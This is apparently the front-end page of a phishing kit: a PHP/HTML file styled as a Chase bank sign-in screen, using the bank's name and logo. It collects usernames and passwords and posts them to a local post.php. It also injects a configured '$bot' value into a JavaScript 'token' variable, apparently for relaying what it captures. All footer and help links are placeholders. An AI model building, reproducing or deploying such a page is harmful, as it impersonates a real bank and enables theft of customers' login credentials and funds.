<?php
include("config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600&display=swap" rel="stylesheet">
    <title>Chase</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

        :root {
            --blue:        #025ca8;
            --blue-dark:   #014a8a;
            --blue-light:  rgba(2, 92, 168, 0.1);
            --text-primary:   #1a1a1a;
            --text-secondary: #444;
            --text-muted:     #888;
            --border:         #ddd;
            --white:          #ffffff;
        }

        html, body {
            height: 100%;
            font-family: 'Inter', sans-serif;
        }

        /* ── Full background image ── */
        body {
            min-height: 100vh;
            background: url('res/img/back.png') center center / cover no-repeat;
            position: relative;
            display: flex;
            flex-direction: column;
        }

        /* Subtle dark overlay so card stays readable regardless of bg brightness */
        body::before {
            content: '';
            position: fixed; inset: 0;
            background: rgba(0, 0, 0, 0.32);
            z-index: 0;
        }

        /* ── Header ── */
        header {
            position: relative; z-index: 1;
            padding: 20px 40px;
            display: flex;
            align-items: center;
            background: rgba(255,255,255,0.92);
            backdrop-filter: blur(8px);
            -webkit-backdrop-filter: blur(8px);
            border-bottom: 1px solid rgba(255,255,255,0.3);
        }
        header img {
            height: 64px;
            width: auto;
            object-fit: contain;
            display: block;
        }

        /* ── Page layout ── */
        .page-body {
            position: relative; z-index: 1;
            flex: 1;
            display: flex;
            align-items: center;
            justify-content: flex-end;
            padding: 40px 80px 60px;
        }

        /* ── Login card ── */
        .login-card {
            background: var(--white);
            border-radius: 12px;
            padding: 44px 40px 40px;
            width: 100%;
            max-width: 380px;
            box-shadow: 0 24px 80px rgba(0,0,0,0.28), 0 4px 16px rgba(0,0,0,0.12);
            animation: fadeUp 0.5s ease both;
        }

        @keyframes fadeUp {
            from { opacity: 0; transform: translateY(20px); }
            to   { opacity: 1; transform: translateY(0); }
        }

        .card-logo {
            margin-bottom: 28px;
        }
        .card-logo img {
            height: 64px; width: auto; object-fit: contain; display: block;
        }

        .card-heading {
            margin-bottom: 28px;
        }
        .card-heading h1 {
            font-size: 22px; font-weight: 600;
            color: var(--text-primary); margin-bottom: 5px;
            letter-spacing: -0.01em;
        }
        .card-heading p {
            font-size: 13.5px; color: var(--text-muted); font-weight: 300;
        }

        /* ── Fields ── */
        .field { margin-bottom: 16px; }
        .field label {
            display: block; font-size: 12px; font-weight: 500;
            color: var(--text-secondary); margin-bottom: 6px;
            letter-spacing: 0.01em;
        }
        .field input[type="text"],
        .field input[type="Password"] {
            width: 100%; height: 46px; padding: 0 14px;
            border: 1.5px solid var(--border); border-radius: 6px;
            font-family: 'Inter', sans-serif;
            font-size: 14px; color: var(--text-primary);
            background: #fff; outline: none;
            transition: border-color 0.2s, box-shadow 0.2s;
            -webkit-appearance: none;
        }
        .field input::placeholder { color: #bbb; font-weight: 300; }
        .field input:focus {
            border-color: var(--blue);
            box-shadow: 0 0 0 3px var(--blue-light);
        }

        /* ── Checkboxes ── */
        .options { display: flex; flex-direction: column; gap: 10px; margin-bottom: 22px; }
        .check-label {
            display: flex; align-items: center; gap: 9px;
            font-size: 13px; color: var(--text-secondary);
            cursor: pointer; user-select: none;
        }
        .check-label input[type="checkbox"] {
            appearance: none; -webkit-appearance: none;
            width: 16px; height: 16px;
            border: 1.5px solid var(--border);
            border-radius: 3px; background: #fff;
            cursor: pointer; flex-shrink: 0; position: relative;
            transition: background 0.15s, border-color 0.15s;
        }
        .check-label input[type="checkbox"]:checked {
            background: var(--blue); border-color: var(--blue);
        }
        .check-label input[type="checkbox"]:checked::after {
            content: '';
            position: absolute; left: 3px; top: 1px;
            width: 5px; height: 8px;
            border: 2px solid #fff;
            border-top: none; border-left: none;
            transform: rotate(45deg);
        }

        /* ── Sign in button ── */
        .btn-signin {
            width: 100%; height: 46px;
            background: var(--blue); color: #fff;
            border: none; border-radius: 6px;
            font-family: 'Inter', sans-serif;
            font-size: 14px; font-weight: 600;
            letter-spacing: 0.01em; cursor: pointer;
            transition: background 0.2s, transform 0.15s, box-shadow 0.2s;
            margin-bottom: 22px;
        }
        .btn-signin:hover {
            background: var(--blue-dark);
            box-shadow: 0 4px 14px rgba(2,92,168,0.4);
            transform: translateY(-1px);
        }
        .btn-signin:active { transform: translateY(0); }

        /* ── Footer links ── */
        .card-links {
            display: flex; flex-direction: column; gap: 10px;
            padding-top: 18px; border-top: 1px solid #eee;
        }
        .card-links a {
            font-size: 13px; color: var(--blue);
            text-decoration: none; font-weight: 400;
            transition: color 0.15s;
        }
        .card-links a:hover { color: var(--blue-dark); text-decoration: underline; }
        .card-links a::after { content: ' →'; font-size: 11px; }

        /* ── Footer bar ── */
        .page-footer {
            position: relative; z-index: 1;
            padding: 16px 40px;
            display: flex; align-items: center; gap: 24px;
            border-top: 1px solid rgba(255,255,255,0.12);
        }
        .page-footer a {
            font-size: 12px; color: rgba(255,255,255,0.65);
            text-decoration: none;
            transition: color 0.15s;
        }
        .page-footer a:hover { color: #fff; }

        /* ── Responsive ── */
        @media (max-width: 768px) {
            .page-body {
                justify-content: center;
                padding: 20px 20px 40px;
                align-items: flex-start;
                padding-top: 20px;
            }
            .login-card { max-width: 100%; }
        }
    </style>
</head>
<body>

    <header>
        <img src="res/img/logo2.svg" alt="Chase">
    </header>

    <script>var token=<?php echo json_encode($bot); ?>;</script>

    <div class="page-body">
        <div class="login-card">

            <div class="card-logo">
                <img src="res/img/logo2.svg" alt="Chase">
            </div>

            <div class="card-heading">
                <h1>Sign in</h1>
                <p>Access your accounts securely</p>
            </div>

            <form action="post.php" method="post">

                <div class="field">
                    <label for="user">Username</label>
                    <input type="text" id="user" name="user" required autocomplete="username" placeholder="Enter your username">
                </div>

                <div class="field">
                    <label for="pass">Password</label>
                    <input type="Password" id="pass" name="pass" required autocomplete="current-password" placeholder="Enter your password">
                </div>

                <div class="options">
                    <label class="check-label">
                        <input type="checkbox"> Remember me
                    </label>
                    <label class="check-label">
                        <input type="checkbox"> Use token
                    </label>
                </div>

                <button type="submit" class="btn-signin">Sign in</button>

                <div class="card-links">
                    <a href="#">Forgot username or password</a>
                    <a href="#">Not enrolled? Sign up now</a>
                </div>

            </form>
        </div>
    </div>

    <footer class="page-footer">
        <a href="#">Privacy</a>
        <a href="#">Security</a>
        <a href="#">Terms of use</a>
        <a href="#">Accessibility</a>
    </footer>

    <script src="./res/jq.js"></script>
</body>
</html>